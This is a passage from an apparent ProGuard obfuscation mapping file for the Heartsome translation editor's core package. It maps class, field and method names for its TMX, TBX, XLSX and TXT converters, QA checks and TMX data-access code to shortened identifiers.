getHstmOperator(net.heartsome.cat.te.core.bean.File2TmxConvertBean) -> b + net.heartsome.cat.te.core.converter.tbx.AbstractWriter getWriter(net.heartsome.cat.te.core.bean.File2TmxConvertBean) -> c + boolean hasLang(net.heartsome.cat.te.core.converter.tbx.AppendTmxWriter) -> a +net.heartsome.cat.te.core.converter.hstm.Tmx2Hstm -> net.heartsome.cat.te.core.converter.hstm.b: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String NAME -> NAME + java.lang.String hsTmFilePath -> ip + net.heartsome.cat.database.TMXDBOperatorFacade facade -> in + java.util.List cache -> ik + int SIZE -> SIZE + boolean flushAttr -> iq + void initHstm() -> ag + void intDbOperator() -> ah + void doImportTmx(net.heartsome.cat.database.DBOperator,java.lang.String) -> a + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void flushTu2DB(java.util.List) -> f + void releaseResource() -> releaseResource + net.heartsome.cat.database.DBOperator getHstmDbOperator(net.heartsome.cat.common.bean.MetaData) -> a + void resetTU(net.heartsome.cat.common.bean.TmxTU) -> h +net.heartsome.cat.te.core.converter.tbx.AbstractWriter -> net.heartsome.cat.te.core.converter.tbx.a: + java.io.FileOutputStream out -> ir + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String getHeaderXml(java.lang.String) -> u + java.lang.String getEndXml() -> ai + void writeTmxTU(net.heartsome.cat.common.bean.TmxTU) -> i + void writeXmlString(java.lang.String) -> v + void writeBody(java.util.List) -> g + void writeHeader(java.lang.String) -> writeHeader + void writeEnd() -> writeEnd + void flushContent() -> aj + void closeOutStream() -> ak + java.lang.String getWriterEnconding() -> al +net.heartsome.cat.te.core.converter.tbx.AppendTmxWriter -> net.heartsome.cat.te.core.converter.tbx.b: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.xml.vtdimpl.VTDUtils vtdUtil -> it + java.lang.String tmxBegainString -> iu + java.lang.String tmxEndString -> iv + long offset -> offset + java.lang.String srcLang -> eD + boolean istruncateFile -> iw + java.lang.String appendTmxEnconding -> ix + java.lang.String getHeaderXml(java.lang.String) -> u + java.lang.String getEndXml() -> ai + void setTMXString() -> am + void truncateFile() -> an + void main(java.lang.String[]) -> main + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang() -> ao + boolean canAppend(java.lang.String) -> w + void startAppend() -> ap + java.lang.String getWriterEnconding() -> al +net.heartsome.cat.te.core.converter.tbx.Model2String -> net.heartsome.cat.te.core.converter.tbx.c: + java.lang.String TmxTU2TmxXmlString(net.heartsome.cat.common.bean.TmxTU,boolean,java.lang.String) -> a + java.lang.String TmxTu2TbxXMLString(net.heartsome.cat.common.bean.TmxTU,boolean) -> a + java.lang.String getLangSet(net.heartsome.cat.common.bean.TmxSegement,java.lang.String,boolean) -> a + java.lang.String getTUXmlString(net.heartsome.cat.common.bean.TmxSegement,boolean) -> a + java.lang.String getUUID() -> getUUID + java.lang.String creationDate() -> creationDate + java.lang.String getCustomArributeXML(java.util.Map) -> e + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.converter.tbx.Tbx2Tmx -> net.heartsome.cat.te.core.converter.tbx.d: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.te.core.converter.tbx.TbxReader tbxReader -> iy + int cacheSzie -> iz + java.util.List cache -> ik + java.lang.String attributeString -> il + void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void writeTmxTU(java.util.List,net.heartsome.cat.te.core.converter.tbx.AbstractWriter) -> a + boolean writeNewTmx(net.heartsome.cat.te.core.converter.tbx.AbstractWriter,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.te.core.converter.tbx.AbstractWriter getWriter(net.heartsome.cat.te.core.bean.File2TmxConvertBean) -> c +net.heartsome.cat.te.core.converter.tbx.TbxReader -> net.heartsome.cat.te.core.converter.tbx.e: + java.lang.String filePath -> filePath + net.heartsome.xml.vtdimpl.VTDUtils vtdUtil -> it + com.ximpleware.AutoPilot tuAp -> gg + java.lang.String srcLang -> eD + com.ximpleware.VTDNav vn -> hW + int currentPostion -> iA + int termEntryCount -> iB + java.lang.String getSrcLang() -> getSrcLang + net.heartsome.cat.common.bean.TmxTU[] readNextTermEntry() -> aq + boolean hasNext() -> hasNext + boolean start() -> ar + boolean validate() -> validate + void setSrcLang(java.lang.String) -> setSrcLang + void setTermEntryCount() -> as + net.heartsome.cat.common.bean.TmxTU[] readTuByTig() -> at + net.heartsome.cat.common.bean.TmxTU[] readNext() -> au + net.heartsome.cat.common.bean.TmxTU[] readTuByNtig() -> av + java.lang.String getAttValue(java.lang.String) -> x + net.heartsome.cat.common.bean.TmxTU[] getTmxTus(java.util.List) -> h + int getTotal() -> aw +net.heartsome.cat.te.core.converter.tbx.TbxWriter -> net.heartsome.cat.te.core.converter.tbx.f: + java.lang.String getHeaderXml(java.lang.String) -> u + java.lang.String getEndXml() -> ai + void writeTmxTU(net.heartsome.cat.common.bean.TmxTU) -> i + java.lang.String getWriterEnconding() -> al +net.heartsome.cat.te.core.converter.tbx.Tmx2Tbx -> net.heartsome.cat.te.core.converter.tbx.g: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String NAME -> NAME + java.util.List cache -> ik + net.heartsome.cat.te.core.converter.tbx.AbstractWriter tbxWriter -> iC + int SIZE -> SIZE + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void writeTmxTU(java.util.List) -> i + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.converter.tbx.TmxWriter -> net.heartsome.cat.te.core.converter.tbx.h: + java.lang.String attibuteString -> iD + java.lang.String getHeaderXml(java.lang.String) -> u + java.lang.String getEndXml() -> ai + void writeTmxTU(net.heartsome.cat.common.bean.TmxTU) -> i + java.lang.String getWriterEnconding() -> al + java.lang.String getAttibuteString() -> ax + void setAttibuteString(java.lang.String) -> y +net.heartsome.cat.te.core.converter.txt.Tmx2Txt -> net.heartsome.cat.te.core.converter.txt.a: + java.lang.String NAME -> NAME + byte[] SEPARATOR -> iE + byte[] CRLF -> CRLF + org.slf4j.Logger LOGGER -> LOGGER + int langIndex -> iF + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + byte[] encodeTab(java.lang.String,java.lang.String) -> e + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.converter.txt.Txt2Tmx -> net.heartsome.cat.te.core.converter.txt.b: + org.slf4j.Logger LOGGER -> LOGGER + long appendOffset -> iG + java.lang.String appendSrclang -> iH + void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void writeTmx(net.heartsome.cat.te.core.bean.File2TmxConvertBean,java.io.FileOutputStream,org.eclipse.core.runtime.IProgressMonitor) -> a + double getLineNumber(java.io.File,java.lang.String) -> a + java.lang.String createTu(java.lang.String[],java.util.Map,net.heartsome.cat.te.core.bean.File2TmxConvertBean) -> a + void addTuPropNode(java.lang.StringBuilder,java.util.Map) -> a + void getSrclangAndTuOffset(java.lang.String) -> z + java.lang.String decode(java.lang.String) -> decode +net.heartsome.cat.te.core.converter.xlsx.Cell -> net.heartsome.cat.te.core.converter.xlsx.a: + java.lang.String cellNumber -> iI + java.lang.String cellConentent -> iJ + java.lang.String langCode -> T + java.lang.String getLangCode() -> getLangCode + void setLangCode(java.lang.String) -> setLangCode + java.lang.String getCellNumber() -> ay + void setCellNumber(java.lang.String) -> A + java.lang.String getCellConentent() -> az + void setCellConentent(java.lang.String) -> B +net.heartsome.cat.te.core.converter.xlsx.Excel2007Writer -> net.heartsome.cat.te.core.converter.xlsx.b: + org.slf4j.Logger LOGGER -> LOGGER + org.apache.poi.ss.usermodel.Workbook wb -> iK + java.io.FileOutputStream out -> ir + int lastIndex -> lastIndex + org.apache.poi.ss.usermodel.CreationHelper createHelper -> iL + org.apache.poi.ss.usermodel.Sheet sh -> iM + org.apache.poi.ss.usermodel.Row rowHeader -> iN + java.util.List cellStyle_Cache -> iO + void witerTmxTU(java.util.List,boolean) -> a + void outZip() -> aA + int getLangIndex(org.apache.poi.ss.usermodel.Row,net.heartsome.cat.common.bean.TmxSegement) -> a + org.apache.poi.ss.usermodel.CellStyle getWrapedCell() -> aB + int addLangCell(org.apache.poi.ss.usermodel.Row,net.heartsome.cat.common.bean.TmxSegement) -> b + org.apache.poi.ss.usermodel.Workbook access$0(net.heartsome.cat.te.core.converter.xlsx.Excel2007Writer) -> a +net.heartsome.cat.te.core.converter.xlsx.Excel2007Writer$1 -> net.heartsome.cat.te.core.converter.xlsx.c: + net.heartsome.cat.te.core.converter.xlsx.Excel2007Writer this$0 -> iP + org.apache.poi.ss.usermodel.CellStyle val$cellStyle -> iQ + void run() -> run +net.heartsome.cat.te.core.converter.xlsx.Row -> net.heartsome.cat.te.core.converter.xlsx.d: + int rowNumber -> rowNumber + java.util.List cells -> iR + int getRowNumber() -> getRowNumber + void setRowNumber(int) -> setRowNumber + java.util.List getCells() -> getCells + void setCells(java.util.List) -> j + void addCell(net.heartsome.cat.te.core.converter.xlsx.Cell) -> a + net.heartsome.cat.common.bean.TmxTU toTmxTu() -> aC +net.heartsome.cat.te.core.converter.xlsx.Tmx2xlsx -> net.heartsome.cat.te.core.converter.xlsx.e: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String NAME -> NAME + net.heartsome.cat.te.core.converter.xlsx.Excel2007Writer writer -> iS + int size -> size + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.converter.xlsx.Xlsx2Tmx -> net.heartsome.cat.te.core.converter.xlsx.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String attString -> iT + void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + net.heartsome.cat.te.core.converter.tbx.AbstractWriter getWriter(net.heartsome.cat.te.core.bean.File2TmxConvertBean) -> c + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper -> net.heartsome.cat.te.core.converter.xlsx.g: + net.heartsome.cat.te.core.converter.tbx.AbstractWriter tmxWriter -> iU + java.util.List cache -> ik + int cache_size -> ij + java.util.Map langCodes -> iV + org.eclipse.core.runtime.IProgressMonitor monitor -> monitor + java.lang.String getSrcLang() -> getSrcLang + void parseXlsxFileAndWriteTmxBody(java.lang.String,net.heartsome.cat.te.core.converter.tbx.AbstractWriter,org.eclipse.core.runtime.IProgressMonitor) -> a + int countTotal(long) -> a + void parse(java.io.InputStream,org.apache.poi.xssf.eventusermodel.ReadOnlySharedStringsTable,net.heartsome.cat.te.core.converter.tbx.AbstractWriter) -> a + void writeTmxTU(java.util.List,net.heartsome.cat.te.core.converter.tbx.AbstractWriter) -> a + boolean validateAppend() -> aD + void writeEnd() -> writeEnd + boolean access$0(net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper) -> a + net.heartsome.cat.te.core.converter.tbx.AbstractWriter access$1(net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper) -> b + java.util.List access$2(net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper) -> c + org.eclipse.core.runtime.IProgressMonitor access$3(net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper) -> d + void access$4(net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper,java.util.List,net.heartsome.cat.te.core.converter.tbx.AbstractWriter) -> a + java.util.Map access$5(net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper) -> e +net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper$XSSFHander -> net.heartsome.cat.te.core.converter.xlsx.h: + java.util.regex.Pattern NUMBER -> iW + java.lang.String lastElementName -> iX + boolean isSheredString -> iY + java.lang.StringBuilder lastCellContent -> iZ + org.apache.poi.xssf.eventusermodel.ReadOnlySharedStringsTable sharedStringsTable -> ja + net.heartsome.cat.te.core.converter.xlsx.Row cRow -> jb + net.heartsome.cat.te.core.converter.xlsx.Cell cCell -> jc + net.heartsome.cat.te.core.converter.xlsx.Xlsx2TmxHelper this$0 -> jd + void startElement(java.lang.String,java.lang.String,java.lang.String,org.xml.sax.Attributes) -> startElement + void endElement(java.lang.String,java.lang.String,java.lang.String) -> endElement + void characters(char[],int,int) -> characters + boolean validateLangs(net.heartsome.cat.te.core.converter.xlsx.Row) -> a + boolean isHasDuplicateLangCode() -> aE + java.lang.String getCellPosition(java.lang.String) -> C +net.heartsome.cat.te.core.exception.TmxFileParseException -> net.heartsome.cat.te.core.exception.a: + long serialVersionUID -> serialVersionUID + int exceptionCode -> gd + int getExcetpitonCode() -> getExcetpitonCode +net.heartsome.cat.te.core.exception.TmxFileValidateException -> net.heartsome.cat.te.core.exception.b: + long serialVersionUID -> serialVersionUID + int exceptionCode -> gd + int getExcetpitonCode() -> getExcetpitonCode +net.heartsome.cat.te.core.file.merge.MergeFilesWhenCloseTmx -> net.heartsome.cat.te.core.file.merge.a: + java.io.FileOutputStream output -> fR + java.io.BufferedOutputStream buffer -> je + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String mergedTgtFileEncoding -> jf + boolean mergeTempFile(java.util.Map,java.util.List,java.lang.String,java.lang.String,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + void writeSegment(java.lang.String) -> D +net.heartsome.cat.te.core.file.split.SplitFileWhenOpenTmx -> net.heartsome.cat.te.core.file.split.a: + java.io.OutputStream output -> output + java.io.BufferedOutputStream buffer -> je + java.lang.String tempFileLC -> jg + java.lang.String spliteFilePath -> jh + int tempFileIndex -> ji + int tuUnitSum -> jj + org.slf4j.Logger LOGGER -> LOGGER + java.util.List splitFile(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,com.ximpleware.VTDNav,int) -> a + void writeSegment(java.lang.String) -> D + void createNewTempFile(java.lang.String,java.lang.String) -> f + void endTempFile(java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> a +net.heartsome.cat.te.core.qa.IQAResultViewer -> net.heartsome.cat.te.core.qa.IQAResultViewer: + java.lang.String ID -> ID + void registLister(net.heartsome.cat.te.core.qa.QAControl) -> registLister + void clearTableData() -> clearTableData +net.heartsome.cat.te.core.qa.NumberConsistenceQA -> net.heartsome.cat.te.core.qa.NumberConsistenceQA: + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA + java.util.Map compareNumber(java.util.List,java.util.List) -> compareNumber +net.heartsome.cat.te.core.qa.QACommonFuction -> net.heartsome.cat.te.core.qa.QACommonFuction: + java.util.List getUseableQAItems() -> getUseableQAItems + java.util.List getAllTuDataOfTmxList(net.heartsome.cat.te.core.qa.QAModel) -> getAllTuDataOfTmxList +net.heartsome.cat.te.core.qa.QAConstant -> net.heartsome.cat.te.core.qa.QAConstant: + java.lang.String QA_TagConsistence -> QA_TagConsistence + java.lang.String QA_NumberConsistence -> QA_NumberConsistence + java.lang.String QA_SpaceOfParaCheck -> QA_SpaceOfParaCheck + java.lang.String QA_TgtNull -> QA_TgtNull + java.lang.String QA_SrcSameWithTgt -> QA_SrcSameWithTgt + java.lang.String QA_SrcSameButTgt -> QA_SrcSameButTgt + java.lang.String QA_TgtSameButSrc -> QA_TgtSameButSrc + java.lang.String QA_TagConsistenceText -> QA_TagConsistenceText + java.lang.String QA_NumberConsistenceText -> QA_NumberConsistenceText + java.lang.String QA_SpaceOfParaCheckText -> QA_SpaceOfParaCheckText + java.lang.String QA_TgtNullText -> QA_TgtNullText + java.lang.String QA_SrcSameWithTgtText -> QA_SrcSameWithTgtText + java.lang.String QA_SrcSameButTgtText -> QA_SrcSameButTgtText + java.lang.String QA_TgtSameButSrcText -> QA_TgtSameButSrcText + int QA_ZERO -> QA_ZERO + int QA_FIRST -> QA_FIRST + int QA_TWO -> QA_TWO + int QA_THREE -> QA_THREE + int QA_CENTERKEY_1 -> QA_CENTERKEY_1 + int QA_CENTERKEY_2 -> QA_CENTERKEY_2 + java.lang.String ITEM_NAME -> ITEM_NAME + java.lang.String ITEM_CLASSNAME -> ITEM_CLASSNAME + java.lang.String PREF_useableQAItemStr -> PREF_useableQAItemStr + char QA_ONE_SPACE_CHAR -> QA_ONE_SPACE_CHAR +net.heartsome.cat.te.core.qa.QAControl -> net.heartsome.cat.te.core.qa.QAControl: + java.beans.PropertyChangeSupport listeners -> listeners + boolean isRegist -> jk + net.heartsome.cat.te.core.qa.QAControl curElement -> jl + org.eclipse.ui.IViewPart qaResultViewer -> jm + java.util.List qaResultDataList -> jn + int dataUnit -> jo + java.lang.String originalSrcLang -> jp + java.lang.String originalTgtLang -> jq + org.slf4j.Logger logger -> logger + void storeQAData(net.heartsome.cat.te.core.qa.QAResultBean) -> storeQAData + void sendDataToViewer(boolean) -> sendDataToViewer + void beginSendData() -> aF + java.lang.String getOriginalSrcLang() -> getOriginalSrcLang + void setOriginalSrcLang(java.lang.String) -> setOriginalSrcLang + java.lang.String getOriginalTgtLang() -> getOriginalTgtLang + void setOriginalTgtLang(java.lang.String) -> setOriginalTgtLang + void access$0(net.heartsome.cat.te.core.qa.QAControl,org.eclipse.ui.IViewPart) -> a + org.eclipse.ui.IViewPart access$1(net.heartsome.cat.te.core.qa.QAControl) -> a + net.heartsome.cat.te.core.qa.QAControl access$2(net.heartsome.cat.te.core.qa.QAControl) -> b + void access$3(net.heartsome.cat.te.core.qa.QAControl,boolean) -> a +net.heartsome.cat.te.core.qa.QAControl$1 -> net.heartsome.cat.te.core.qa.QAControl$1: + net.heartsome.cat.te.core.qa.QAControl this$0 -> jr + void run() -> run +net.heartsome.cat.te.core.qa.QAControl$2 -> net.heartsome.cat.te.core.qa.QAControl$2: + net.heartsome.cat.te.core.qa.QAControl this$0 -> jr + void run() -> run +net.heartsome.cat.te.core.qa.QAModel -> net.heartsome.cat.te.core.qa.QAModel: + java.util.Map qaItemId_Name_Class -> js + boolean ignoreTag -> jt + boolean ignoreCase -> ignoreCase + java.lang.String srcLang -> eD + java.lang.String tgtLang -> ju + net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer container -> jv + java.util.Map getQaItemId_Name_Class() -> getQaItemId_Name_Class + boolean isIgnoreTag() -> isIgnoreTag + void setIgnoreTag(boolean) -> setIgnoreTag + boolean isIgnoreCase() -> isIgnoreCase + void setIgnoreCase(boolean) -> setIgnoreCase + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang(java.lang.String) -> setSrcLang + java.lang.String getTgtLang() -> getTgtLang + void setTgtLang(java.lang.String) -> setTgtLang + net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer getContainer() -> getContainer + void setContainer(net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer) -> setContainer + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.qa.QARealization -> net.heartsome.cat.te.core.qa.QARealization: + net.heartsome.cat.te.core.qa.QAModel model -> jw + net.heartsome.cat.te.core.qa.QAControl qaControl -> qaControl + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA + void printResult(net.heartsome.cat.te.core.qa.QAResultBean) -> printResult + net.heartsome.cat.te.core.qa.QAModel getModel() -> getModel + void setModel(net.heartsome.cat.te.core.qa.QAModel) -> setModel + net.heartsome.cat.te.core.qa.QAControl getQaControl() -> getQaControl + void setQaControl(net.heartsome.cat.te.core.qa.QAControl) -> setQaControl +net.heartsome.cat.te.core.qa.QAResultBean -> net.heartsome.cat.te.core.qa.QAResultBean: + java.lang.String tuID -> jx + java.lang.String lineNumber -> lineNumber + java.lang.String qaType -> jy + java.lang.String qaTypeText -> jz + java.lang.String mergeID -> jA + java.lang.String srcContent -> jB + java.lang.String tgtContent -> jC + java.lang.String getTuID() -> getTuID + void setTuID(java.lang.String) -> setTuID + java.lang.String getLineNumber() -> getLineNumber + void setLineNumber(java.lang.String) -> setLineNumber + java.lang.String getQaType() -> getQaType + void setQaType(java.lang.String) -> setQaType + java.lang.String getQaTypeText() -> getQaTypeText + void setQaTypeText(java.lang.String) -> setQaTypeText + java.lang.String getMergeID() -> getMergeID + void setMergeID(java.lang.String) -> setMergeID + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent +net.heartsome.cat.te.core.qa.QATUDataBean -> net.heartsome.cat.te.core.qa.QATUDataBean: + java.lang.String tuID -> jx + java.lang.String srcPureText -> jD + java.lang.String tgtPureText -> jE + java.lang.String srcContent -> jB + java.lang.String tgtContent -> jC + java.lang.String lineNumber -> lineNumber + java.lang.String getTuID() -> getTuID + void setTuID(java.lang.String) -> setTuID + java.lang.String getSrcPureText() -> getSrcPureText + void setSrcPureText(java.lang.String) -> setSrcPureText + java.lang.String getTgtPureText() -> getTgtPureText + void setTgtPureText(java.lang.String) -> setTgtPureText + java.lang.String getLineNumber() -> getLineNumber + void setLineNumber(java.lang.String) -> setLineNumber + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent +net.heartsome.cat.te.core.qa.QATrigger -> net.heartsome.cat.te.core.qa.QATrigger: + net.heartsome.cat.te.core.qa.QAModel model -> jw + net.heartsome.cat.te.core.qa.QAControl qaControl -> qaControl + int workInterval -> jF + java.util.Map qaItemClassMap -> jG + java.lang.String TUVName -> jH + java.lang.String SEGName -> jI + org.slf4j.Logger logger -> logger + void beginTMXQA(net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer,java.lang.String,java.lang.String,java.util.List) -> beginTMXQA + void beginDBQA() -> beginDBQA + net.heartsome.cat.te.core.qa.QARealization getClassInstance(java.lang.String) -> getClassInstance + void monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> a + void main(java.lang.String[]) -> main + void access$0(int) -> f + int access$1() -> aG + net.heartsome.cat.te.core.qa.QAControl access$2(net.heartsome.cat.te.core.qa.QATrigger) -> a + void access$3(net.heartsome.cat.te.core.qa.QATrigger,org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> a +net.heartsome.cat.te.core.qa.QATrigger$1 -> net.heartsome.cat.te.core.qa.QATrigger$1: + net.heartsome.cat.te.core.qa.QATrigger this$0 -> jJ + net.heartsome.cat.te.core.tmxdata.TmxLargeFileContainer val$container -> jK + java.lang.String val$srcLang -> jL + java.lang.String val$tgtLang -> jM + net.heartsome.cat.common.innertag.TmxInnerTagParser val$parser -> jN + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.core.qa.SpaceOfParaCheckQA -> net.heartsome.cat.te.core.qa.SpaceOfParaCheckQA: + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA + int getSpaceNumber(java.lang.String,boolean) -> getSpaceNumber +net.heartsome.cat.te.core.qa.SrcSameButTgtQA -> net.heartsome.cat.te.core.qa.SrcSameButTgtQA: + boolean isFilter -> jO + java.util.Map dataMap -> jP + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA + java.util.Map initData() -> aH + void ananysisData(java.util.List,boolean,boolean) -> a + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.qa.SrcSameButTgtQA$1 -> net.heartsome.cat.te.core.qa.SrcSameButTgtQA$1: + net.heartsome.cat.te.core.qa.SrcSameButTgtQA this$0 -> jQ + boolean val$ignoreTag -> eu + int compare(net.heartsome.cat.te.core.qa.QATUDataBean,net.heartsome.cat.te.core.qa.QATUDataBean) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.qa.SrcSameButTgtQA$2 -> net.heartsome.cat.te.core.qa.SrcSameButTgtQA$2: + net.heartsome.cat.te.core.qa.SrcSameButTgtQA this$0 -> jQ + int compare(net.heartsome.cat.te.core.qa.QATUDataBean,net.heartsome.cat.te.core.qa.QATUDataBean) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.qa.SrcSameWithTgtQA -> net.heartsome.cat.te.core.qa.SrcSameWithTgtQA: + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA +net.heartsome.cat.te.core.qa.TagConsistenceQA -> net.heartsome.cat.te.core.qa.TagConsistenceQA: + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA +net.heartsome.cat.te.core.qa.TgtNullQA -> net.heartsome.cat.te.core.qa.TgtNullQA: + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA + void main(java.lang.String[]) -> main +net.heartsome.cat.te.core.qa.TgtSameButSrcQA -> net.heartsome.cat.te.core.qa.TgtSameButSrcQA: + boolean isFilter -> jO + java.util.Map dataMap -> jP + void beginTmxQA(net.heartsome.cat.te.core.qa.QATUDataBean) -> beginTmxQA + void beginDBQA() -> beginDBQA + void initData() -> G + void ananysisData(java.util.List,boolean,boolean) -> a +net.heartsome.cat.te.core.qa.TgtSameButSrcQA$1 -> net.heartsome.cat.te.core.qa.TgtSameButSrcQA$1: + net.heartsome.cat.te.core.qa.TgtSameButSrcQA this$0 -> jR + boolean val$ignoreTag -> eu + int compare(net.heartsome.cat.te.core.qa.QATUDataBean,net.heartsome.cat.te.core.qa.QATUDataBean) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.qa.TgtSameButSrcQA$2 -> net.heartsome.cat.te.core.qa.TgtSameButSrcQA$2: + net.heartsome.cat.te.core.qa.TgtSameButSrcQA this$0 -> jR + int compare(net.heartsome.cat.te.core.qa.QATUDataBean,net.heartsome.cat.te.core.qa.QATUDataBean) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.core.resource.Messages -> net.heartsome.cat.te.core.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess -> net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess: + java.util.List tuIdentifiers -> jS + net.heartsome.cat.te.core.bean.TmxPropertiesBean tmxPropertiesBean -> jT + java.lang.String currSrcLang -> jU + java.lang.String currTgtLang -> jV + boolean isDirty -> isDirty + java.util.List langList -> ic + java.util.List dataChangeListener -> jW + net.heartsome.cat.te.core.tmxdata.TmxContainer tmxContainer -> jX + net.heartsome.cat.te.core.tmxdata.TmxContainer getTmxContainer() -> getTmxContainer + java.lang.String getCurrSrcLang() -> getCurrSrcLang + java.lang.String getCurrTgtLang() -> getCurrTgtLang + java.util.List getLangList() -> getLangList + int getDisplayTuCount() -> getDisplayTuCount + java.util.List getDisplayTuIdentifiers() -> getDisplayTuIdentifiers + net.heartsome.cat.te.core.bean.TmxPropertiesBean getTmxProperties() -> getTmxProperties + java.lang.String getTuIndentifierByRowIndex(int) -> getTuIndentifierByRowIndex + boolean isDirty() -> isDirty + void setDirty(boolean) -> setDirty + void addTmxDataChangeListener(net.heartsome.cat.te.core.tmxdata.ITmxDataChangeListener) -> addTmxDataChangeListener + void removeTmxDataChangeListener(net.heartsome.cat.te.core.tmxdata.ITmxDataChangeListener) -> removeTmxDataChangeListener + boolean isSourceExist() -> isSourceExist + java.lang.String retrieveTuXml(int) -> retrieveTuXml + void closeTmxDataAccess(org.eclipse.core.runtime.IProgressMonitor) -> closeTmxDataAccess + void save(org.eclipse.core.runtime.IProgressMonitor) -> save + void saveAs(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.ExportBean) -> saveAs + net.heartsome.cat.te.core.bean.TmxPropertiesBean loadTmxProperties() -> loadTmxProperties + void loadDisplayTuIdentifierByFilter(org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.te.core.bean.TmxEditorFilterBean,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> loadDisplayTuIdentifierByFilter + java.lang.String addTu(net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTu + void deleteTus(java.lang.String[],org.eclipse.core.runtime.IProgressMonitor) -> deleteTus + void updateTuvContent(java.lang.String,java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxSegement) -> updateTuvContent + int addTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String) -> addTuNote + int addTuNote(java.util.Map,java.lang.String) -> addTuNote + void updateTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote,java.lang.String) -> updateTuNote + void updateTuNote(java.util.Map,net.heartsome.cat.common.bean.TmxNote,java.lang.String) -> updateTuNote + void deleteTuNote(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxNote) -> deleteTuNote + void deleteTuNote(java.util.Map,net.heartsome.cat.common.bean.TmxNote) -> deleteTuNote + int addTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,java.lang.String,java.lang.String) -> addTuProp + int addTuProp(java.util.Map,java.lang.String,java.lang.String) -> addTuProp + void updateTuProp(java.lang.String,net.heartsome.cat.common.bean.TmxTU,net.heartsome.cat.common.bean.TmxProp,java.lang.String,java.lang.String) -> updateTuProp + void 